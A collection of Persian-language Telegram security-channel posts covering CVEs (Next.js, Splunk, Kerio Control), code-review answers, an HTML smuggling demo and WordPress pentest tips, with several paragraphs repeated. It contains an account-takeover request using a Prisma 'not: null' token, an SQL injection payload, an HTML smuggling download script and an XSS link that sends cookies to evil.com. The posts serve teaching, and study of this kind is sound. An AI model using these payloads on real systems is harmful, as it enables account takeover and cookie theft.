Forwarded from GO-TO CVE
CVE-2025-29927-week-45.docx
2.1 MB
سلام به همه دوستان امنیتی! 🌍✨
در هفته 45 از برنامه GO-TO CVE، به بررسی یک آسیبپذیری خطرناک در Next.js میپردازیم که باعث دور زدن احراز هویت در برخی از مسیرها میشود! 🚨
📱 Week: 45
🔍 CVE: CVE-2025-29927
💻 Type: 🔓 Authorization Bypass
🛠 Framework: Next.js 15.0.3
🔴 مشکل کجاست؟
در نسخههای آسیبپذیر Next.js، مشکل در Middleware باعث میشود که مهاجم بتواند سیاستهای احراز هویت و محدودیتهای امنیتی را دور بزند. این ضعف امنیتی به مهاجمان امکان میدهد تا بدون احراز هویت، به مسیرهای حساس و دادههای محافظتشده دسترسی پیدا کنند.
⚠️ چرا این آسیبپذیری مهم است؟
✅ امکان دسترسی غیرمجاز به APIهای حساس و دادههای کاربران
✅ سوءاستفاده برای استخراج اطلاعات کاربران و اجرای حملات CSRF یا SSRF
✅ قابل ترکیب با Cache-Poisoning برای از کار انداختن برخی صفحات سایت
✅ خطر افشای اطلاعات در سرویسهای مبتنی بر Edge Functions و CDN
📢 برای اطلاعات بیشتر و راهکارهای امنیتی، با ما همراه باشید!
🔗 پیوستن به کانال تلگرام: https://t.me/GOTOCVE
#week_45
در هفته 45 از برنامه GO-TO CVE، به بررسی یک آسیبپذیری خطرناک در Next.js میپردازیم که باعث دور زدن احراز هویت در برخی از مسیرها میشود! 🚨
📱 Week: 45
🔍 CVE: CVE-2025-29927
💻 Type: 🔓 Authorization Bypass
🛠 Framework: Next.js 15.0.3
🔴 مشکل کجاست؟
در نسخههای آسیبپذیر Next.js، مشکل در Middleware باعث میشود که مهاجم بتواند سیاستهای احراز هویت و محدودیتهای امنیتی را دور بزند. این ضعف امنیتی به مهاجمان امکان میدهد تا بدون احراز هویت، به مسیرهای حساس و دادههای محافظتشده دسترسی پیدا کنند.
⚠️ چرا این آسیبپذیری مهم است؟
✅ امکان دسترسی غیرمجاز به APIهای حساس و دادههای کاربران
✅ سوءاستفاده برای استخراج اطلاعات کاربران و اجرای حملات CSRF یا SSRF
✅ قابل ترکیب با Cache-Poisoning برای از کار انداختن برخی صفحات سایت
✅ خطر افشای اطلاعات در سرویسهای مبتنی بر Edge Functions و CDN
📢 برای اطلاعات بیشتر و راهکارهای امنیتی، با ما همراه باشید!
🔗 پیوستن به کانال تلگرام: https://t.me/GOTOCVE
#week_45
👏1💔1
خب Splunk یه نرم افزار برای تحلیل و مدیریت لاگ هاست که خب از لاگ ها هم برای نظارت بر سیستم ها استفاده میشه.
آسیب پذیری که روش پیدا شده یه کاربر معمولی با سطح دسترسی پایین میتونه رویه Splunk کد اجرا کنه.
چطوری این اتفاق میوفته؟
فرض کنید Splunk مثل یک کتابخانه بزرگ هس که اطلاعات را ذخیره و مدیریت میکنه. تویه این کتابخانه، یک بخش خاص به نام
وجود دارد که کاربران میتونن یه سری فایل ها رو اونجا آپلود کنن.حالا تویه نسخه قدیمی این آسیب پذیری به وجود اومده و به درستی این مسیر قفل نشده
مثلا یک کاربر معمولی (که مدیر نیس) و فقط دسترسی به این مسیر داره (مثلا یه نفر که میخواد یه سری فایل CSV تویه Splunk ذخیره کنه تا بقیه افراد تحلیل کنن) میتونه یک فایل مخرب (مثلاً یک اسکریپت) رو تویه این مسیر آپلود کنه و میشه باهاش RCE گرفت.
آسیب پذیری که روش پیدا شده یه کاربر معمولی با سطح دسترسی پایین میتونه رویه Splunk کد اجرا کنه.
چطوری این اتفاق میوفته؟
فرض کنید Splunk مثل یک کتابخانه بزرگ هس که اطلاعات را ذخیره و مدیریت میکنه. تویه این کتابخانه، یک بخش خاص به نام
$SPLUNK_HOME/var/run/splunk/apptemp
وجود دارد که کاربران میتونن یه سری فایل ها رو اونجا آپلود کنن.حالا تویه نسخه قدیمی این آسیب پذیری به وجود اومده و به درستی این مسیر قفل نشده
مثلا یک کاربر معمولی (که مدیر نیس) و فقط دسترسی به این مسیر داره (مثلا یه نفر که میخواد یه سری فایل CSV تویه Splunk ذخیره کنه تا بقیه افراد تحلیل کنن) میتونه یک فایل مخرب (مثلاً یک اسکریپت) رو تویه این مسیر آپلود کنه و میشه باهاش RCE گرفت.
👍2👏1
جوابش:
این کد ابتدا با استفاده از findUnique بررسی میکنه که آیا کاربری با email و resetToken مشخصشده وجود داره یا نه.
تویه این کد مشکل اینجاس که توکن مستقیم تویه ورودی برای resetToken قرار میگیره و اصلا بررسی نمیشه که یه رشته هس یا یه object که میتونه اون object ها جزو عملگر های Prisma باشه.(Prisma یه orm هس)
این کد اکسپلویتش هست :
که حالا میتونیم با not:null از شرط بیایم بیرون به این صورت بررسی میشه :
و یه account takeover رخ میده
این کد ابتدا با استفاده از findUnique بررسی میکنه که آیا کاربری با email و resetToken مشخصشده وجود داره یا نه.
تویه این کد مشکل اینجاس که توکن مستقیم تویه ورودی برای resetToken قرار میگیره و اصلا بررسی نمیشه که یه رشته هس یا یه object که میتونه اون object ها جزو عملگر های Prisma باشه.(Prisma یه orm هس)
این کد اکسپلویتش هست :
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/json
{
"email": "victim@example.com",
"token": { "not": null },
"newPassword": "hacked"
}
که حالا میتونیم با not:null از شرط بیایم بیرون به این صورت بررسی میشه :
const user = await prisma.user.findUnique({
where: { email: "victim@example.com", resetToken: { not: null } },
});و یه account takeover رخ میده
👏3👍1
کد، آسیبپذیری SQLi داره و کد مشکلسازش اینجاست که:
که مث همیشه مشکل اینجاس ورودی کاربر (phone_number) مستقیم تویه کوئری قرار میگیره و حالا میشه پیلودهای مختلفی تست کرد.
مثلا این:
کد امن یه چنین چیزی میشه مثلا:
که اینجا به جای
این روش باعث میشه ورودی کاربر بهعنوان دیتا (نه کد SQL) پردازش بشه و جلوی SQLi رو بگیره.
cursor.execute(
f"INSERT INTO otp_codes (phone_number, otp) VALUES ('{phone_number}', '{otp}')"
)
که مث همیشه مشکل اینجاس ورودی کاربر (phone_number) مستقیم تویه کوئری قرار میگیره و حالا میشه پیلودهای مختلفی تست کرد.
مثلا این:
{
"phone_number": "' OR '1'='1"
}کد امن یه چنین چیزی میشه مثلا:
@app.route('/send-otp', methods=['POST'])
def send_otp():
try:
phone_number = request.get_json().get("phone_number")
if not phonenumbers.is_valid_number(phonenumbers.parse(f"+{phone_number}", None)):
return jsonify({"error": "Invalid phone number"}), 400
if len(phone_number) > 15:
return jsonify({"error": "Phone number too long"}), 400
otp = random.randint(100000, 999999)
conn = mysql.connector.connect(**DB_CONFIG)
with conn.cursor() as cursor:
cursor.execute(
"INSERT INTO otp_codes (phone_number, otp) VALUES (%s, %s)",
(phone_number, str(otp))
)
conn.commit()
conn.close()
send_otp_code(phone_number) # Function to send SMS
return jsonify({"message": "OTP code has been sent successfully"}), 200
except:
return jsonify({"error": "Something went wrong"}), 500که اینجا به جای
f-string از placeholderهای %s توی کوئری استفاده کردم و همینطور مقادیر phone_number و otp رو جداگونه توی یه تاپل جدید میفرستیم. این روش باعث میشه ورودی کاربر بهعنوان دیتا (نه کد SQL) پردازش بشه و جلوی SQLi رو بگیره.
🔥4👏1
Forwarded from GO-TO CVE
این اسیب تکنیکی است که در آن دادهها یا فایلها به صورت پنهانی داخل فایلهای HTML جاسازی میشوند. این دادهها معمولاً به صورت Base64 encoded وارد میشوند تا از فیلترهای امنیتی عبور کنند. وقتی کاربر فایل HTML را باز میکند، دادهها به طور خودکار بارگذاری و اجرا میشوند. گروههای هکری مانند APT29 از این تکنیک برای دور زدن سیستمهای تشخیص نفوذ و آنتیویروسها استفاده میکنند. این حملات معمولاً فایلهای مخفی در داخل اسناد HTML دارند که در ظاهر هیچ تهدیدی به نظر نمیرسند، اما در پسزمینه عملیات مخرب انجام میدهند. برای جلوگیری از آن، فیلتر کردن دادههای رمزگذاریشده و بررسی دقیق فایلها در محیطهای ایزوله مهم است.
https://attack.mitre.org/techniques/T1027/006/
شما میتوانید با کد زیر این اسیب پذیری را تست کنید .
https://attack.mitre.org/techniques/T1027/006/
شما میتوانید با کد زیر این اسیب پذیری را تست کنید .
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HTML Smuggling Example</title>
</head>
<body>
<h1>HTML Smuggling </h1>
<p>Click the button below to download the file with the hidden payload:</p>
<button onclick="downloadPayload()">Download Payload</button>
<script>
// Convert Base64 payload to ArrayBuffer
function base64ToArrayBuffer(base64) {
const binaryString = atob(base64); // Decode the Base64 string
const len = binaryString.length;
const bytes = new Uint8Array(len);
for (let i = 0; i < len; i++) {
bytes[i] = binaryString.charCodeAt(i); // Convert each character to its ASCII value
}
return bytes.buffer; // Return ArrayBuffer
}
// Function to trigger download of payload
function downloadPayload() {
const base64Payload = 'aGkgR08tVE8gQ1ZFCg=='; // Base64 encoded payload (hidden content)
if (base64Payload.trim() !== '') {
// Convert the Base64 payload to ArrayBuffer
const data = base64ToArrayBuffer(base64Payload);
const blob = new Blob([data], { type: 'application/octet-stream' }); // Create a Blob object with the payload
const fileName = 'payload.txt'; // Name of the file to be downloaded
// Check for IE/Edge and use msSaveOrOpenBlob for compatibility
if (window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveOrOpenBlob(blob, fileName);
} else {
// For other browsers, create a downloadable link
const a = document.createElement('a');
a.style.display = 'none'; // Hide the link element
document.body.appendChild(a);
const url = window.URL.createObjectURL(blob); // Create an object URL for the Blob
a.href = url;
a.download = fileName; // Set the download attribute with the file name
a.click(); // Trigger the download
window.URL.revokeObjectURL(url); // Revoke the object URL to release memory
document.body.removeChild(a); // Remove the link element from the DOM
}
} else {
console.error('No Base64 payload found!');
}
}
</script>
</body>
</html>
👏1
GO-TO CVE
این اسیب تکنیکی است که در آن دادهها یا فایلها به صورت پنهانی داخل فایلهای HTML جاسازی میشوند. این دادهها معمولاً به صورت Base64 encoded وارد میشوند تا از فیلترهای امنیتی عبور کنند. وقتی کاربر فایل HTML را باز میکند، دادهها به طور خودکار بارگذاری و…
کلا HTML Smuggling یه روش هس برای دور زدن فایروال و waf و IDS و ...
به چند روش میتونن دور بزنن مثلا داده مخرب رو به صورت رمز شده تویه یه فایل HTML قرار بدن یا پیلود ها رو تقسیم کنن مثلا داده مخرب رو تویه چند قسمت از فایل قرار بدن یا استفاده از جاوااسکریپت مبهم (Obfuscation) که کد جاوااسکریپت رو طوری تغییر میدن که قابل خوندن نباشه (مثلاً با متغیرهای تصادفی یا فشردهسازی) مثلاً به جای atob() از روشهای غیرمستقیم (مثلا یه تابع دست ساز یا متغییر تصادفی) برای رمزگشایی استفاده میکنن
حالا مثلا اتکر میاد یه سری داده مخرب (مثلا یه اسکریپت مخرب) رو به صورت رمز شده(معمولا base64) داخل یه فایل HTML جاسازی میکنه. این فایل به ظاهر بی خطره ولی مثل کد بالا ، کاربر رویه لینک کلیک میکنه ، دیتا ها به صورت خودکار رمزگشایی و به صورت یه فایل دانلود میشن
به چند روش میتونن دور بزنن مثلا داده مخرب رو به صورت رمز شده تویه یه فایل HTML قرار بدن یا پیلود ها رو تقسیم کنن مثلا داده مخرب رو تویه چند قسمت از فایل قرار بدن یا استفاده از جاوااسکریپت مبهم (Obfuscation) که کد جاوااسکریپت رو طوری تغییر میدن که قابل خوندن نباشه (مثلاً با متغیرهای تصادفی یا فشردهسازی) مثلاً به جای atob() از روشهای غیرمستقیم (مثلا یه تابع دست ساز یا متغییر تصادفی) برای رمزگشایی استفاده میکنن
حالا مثلا اتکر میاد یه سری داده مخرب (مثلا یه اسکریپت مخرب) رو به صورت رمز شده(معمولا base64) داخل یه فایل HTML جاسازی میکنه. این فایل به ظاهر بی خطره ولی مثل کد بالا ، کاربر رویه لینک کلیک میکنه ، دیتا ها به صورت خودکار رمزگشایی و به صورت یه فایل دانلود میشن
👍3👏1
Forwarded from APA-IUTcert
آغاز ثبتنام مسابقه فتح پرچم مازآپا
🗓 زمان ثبتنام از ۲۵ فروردین ماه تا ۱۶ اردیبهشت ماه
🔥 مسابقه به صورت غیرحضوری در ۱۸ اردیبهشت ماه برگزار میشود.
🎁جوایز
1️⃣ تیم اول : 100 میلیون تومان
2️⃣ تیم دوم : 70 میلیون تومان
3️⃣ تیم سوم: 50 میلیون تومان
برای ثبت نام به https://mazapa.ir مراجعه فرمایید.
منتظر حضور گرم شما در این رویداد هستیم 😎
📌 مرکز تخصصی آپا دانشگاه صنعتی اصفهان
📌 با حمایت شرکت فولاد مبارکه اصفهان
#رویداد_CTF
@APA_IUTCERT
🗓 زمان ثبتنام از ۲۵ فروردین ماه تا ۱۶ اردیبهشت ماه
🔥 مسابقه به صورت غیرحضوری در ۱۸ اردیبهشت ماه برگزار میشود.
🎁جوایز
1️⃣ تیم اول : 100 میلیون تومان
2️⃣ تیم دوم : 70 میلیون تومان
3️⃣ تیم سوم: 50 میلیون تومان
برای ثبت نام به https://mazapa.ir مراجعه فرمایید.
منتظر حضور گرم شما در این رویداد هستیم 😎
📌 مرکز تخصصی آپا دانشگاه صنعتی اصفهان
📌 با حمایت شرکت فولاد مبارکه اصفهان
#رویداد_CTF
@APA_IUTCERT
👍2👏2
Forwarded from Web Application Security (Alireza)
متودولوژی تست نفوذ وردپرس =
1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.
تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :
1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.
حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟
1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.
#WordPress
#Methodology
1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.
تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :
1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.
حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟
1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.
#WordPress
#Methodology
👏2
یه بحث جالب وقتی که میخوایم یه پستی که توسط کاربر ساخته شده یا خودمون از یه منبعی میخوایم پست بزاریم داخل سایت
وقتی ما از یه سایت یه محتوایی رو نشون میدیم یا پست یه کاربر رو میخوایم داخل Home سایت نشون بدیم (مثلا بیایم پست کاربر هارو تویه یه iframe قرار بدیم و نشون بدیم) میشه برای جلوگیری از xss بیایم و از sandbox استفاده کنیم .
اینطوری کار میکنه :
حالا اگه attacker خواست یه با یه اسکریپت xss اجرا کنه جلوش گرفته میشه و نمیزاره اپلود کنه(چون allow-script نداره)( ولی این کار به تنهایی کافی نیس باید ورودی ها sanitization بشن) و نه میتونه به کوکیهای تو دست بزنه، نه popup باز کنه و ...
بعضی وقتا هم هس که خودمون میخوایم یه دیتا استاتیک(برای محتوای داینامیک جواب نمیده ) رو اپلود کنیم ولی مسئله ای که پیش میاد نکنه بعدا جایی که ازش دیتایی گذاشتیم تغییر کنه و الوده بشه
مثلا زمانی که میخوایم یه jQuery رو که رویه cdn.com هاست شده استفاده کنیم .
میتونیم با استفاده از integrity تویه <script> جلو این اتفاق رو بگیریم
روش کارشم اینطوریه یه هش از دیتا میگیره و بعدا اگه دیتا تغییر کرده باشه خب هش هم عوض میشه و اگه هش الان با قبلی یکی نباشه دیگه دیتا نشون داده نمیشه مثلا:
به این حمله میگن supply chain attack .
وقتی ما از یه سایت یه محتوایی رو نشون میدیم یا پست یه کاربر رو میخوایم داخل Home سایت نشون بدیم (مثلا بیایم پست کاربر هارو تویه یه iframe قرار بدیم و نشون بدیم) میشه برای جلوگیری از xss بیایم و از sandbox استفاده کنیم .
اینطوری کار میکنه :
<iframe sandbox=" allow forms ... " src="example.com"
حالا اگه attacker خواست یه با یه اسکریپت xss اجرا کنه جلوش گرفته میشه و نمیزاره اپلود کنه(چون allow-script نداره)( ولی این کار به تنهایی کافی نیس باید ورودی ها sanitization بشن) و نه میتونه به کوکیهای تو دست بزنه، نه popup باز کنه و ...
بعضی وقتا هم هس که خودمون میخوایم یه دیتا استاتیک(برای محتوای داینامیک جواب نمیده ) رو اپلود کنیم ولی مسئله ای که پیش میاد نکنه بعدا جایی که ازش دیتایی گذاشتیم تغییر کنه و الوده بشه
مثلا زمانی که میخوایم یه jQuery رو که رویه cdn.com هاست شده استفاده کنیم .
میتونیم با استفاده از integrity تویه <script> جلو این اتفاق رو بگیریم
روش کارشم اینطوریه یه هش از دیتا میگیره و بعدا اگه دیتا تغییر کرده باشه خب هش هم عوض میشه و اگه هش الان با قبلی یکی نباشه دیگه دیتا نشون داده نمیشه مثلا:
<script src="https://cdn.com" integrity="sha256-abcd123...."></script>
به این حمله میگن supply chain attack .
👏2
Forwarded from GO-TO CVE
CVE-2024-52875-week-49.pdf
762.5 KB
برسی CVE-2024-52875 – Kerio Control از CRLF Injection تا 1-Click RCE!
سلام به همهی دوستان عزیز و علاقهمندان به دنیای امنیت سایبری!
به اپیزود ۴۹ از برنامه هفتگی GO-TO CVE خوش اومدین! 🌐🚨
این هفته سراغ یکی از جالب ترین exploit chain رفتیم؛ جایی که با یک کلیک ساده میشه به سطح دسترسی root روی فایروال Kerio Control رسید! 😳👇(نسخه های 9.2.5 تا 9.4.5 تاثیر میگذارد).
🔹 Week: 49
🔹 CVE: CVE-2024-52875
🔹 Type: CRLF Injection ➜ Response Splitting ➜ Reflected XSS ➜ Cookie Theft ➜ CSRF Abuse ➜ 1-Click RCE
🔹 Target: Kerio Control 🔥
https://t.me/GOTOCVE
📬 عضو کانال شو و هر هفته یه باگ خفن رو کامل یاد بگیر!
#week_49
سلام به همهی دوستان عزیز و علاقهمندان به دنیای امنیت سایبری!
به اپیزود ۴۹ از برنامه هفتگی GO-TO CVE خوش اومدین! 🌐🚨
این هفته سراغ یکی از جالب ترین exploit chain رفتیم؛ جایی که با یک کلیک ساده میشه به سطح دسترسی root روی فایروال Kerio Control رسید! 😳👇(نسخه های 9.2.5 تا 9.4.5 تاثیر میگذارد).
🔹 Week: 49
🔹 CVE: CVE-2024-52875
🔹 Type: CRLF Injection ➜ Response Splitting ➜ Reflected XSS ➜ Cookie Theft ➜ CSRF Abuse ➜ 1-Click RCE
🔹 Target: Kerio Control 🔥
https://t.me/GOTOCVE
📬 عضو کانال شو و هر هفته یه باگ خفن رو کامل یاد بگیر!
#week_49
👍2
CVE-2025-46234:
آسیب پذیری Reflected XSS در افزونه وردپرس Razib Control Listings. مهاجم با لینک مخرب ، مثل
کد جاوااسکریپت اجرا میکنه و میتونه کوکی بدزده و ...
آسیب پذیری Reflected XSS در افزونه وردپرس Razib Control Listings. مهاجم با لینک مخرب ، مثل
example.com/listings?query=<script>alert('Hacked')</script>کد جاوااسکریپت اجرا میکنه و میتونه کوکی بدزده و ...
http://example.com/listings?query=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>عالی بود آقا لذت بردم
(تایمش زیاده ولی واقعا صحبت هاشون عالی بود)
https://youtu.be/msjLfaRy1ks?si=l_G7oezLE1EXC1PC
(تایمش زیاده ولی واقعا صحبت هاشون عالی بود)
https://youtu.be/msjLfaRy1ks?si=l_G7oezLE1EXC1PC
YouTube
ملی شدن صنعت نفت ایران و جدال مصدق با پهلوی | گفتگوی فریدون مجلسی و محمد توسلی
فریدون مجلسی: مصدق در ماجرای ملی شدن صنعت نفت بهجای دفاع از حقوق ملی، باید منافع ملی را لحاظ میکرد. آنها به غرامتی که باید در قبال انگلیس پرداخت کنند آگاه بودند. بر همین اساس بود که در سال ۱۳۲۳ وقتی نماینده قوچان پیشنهاد ملی شدن نفت را داد، شخص مصدق با…
👍2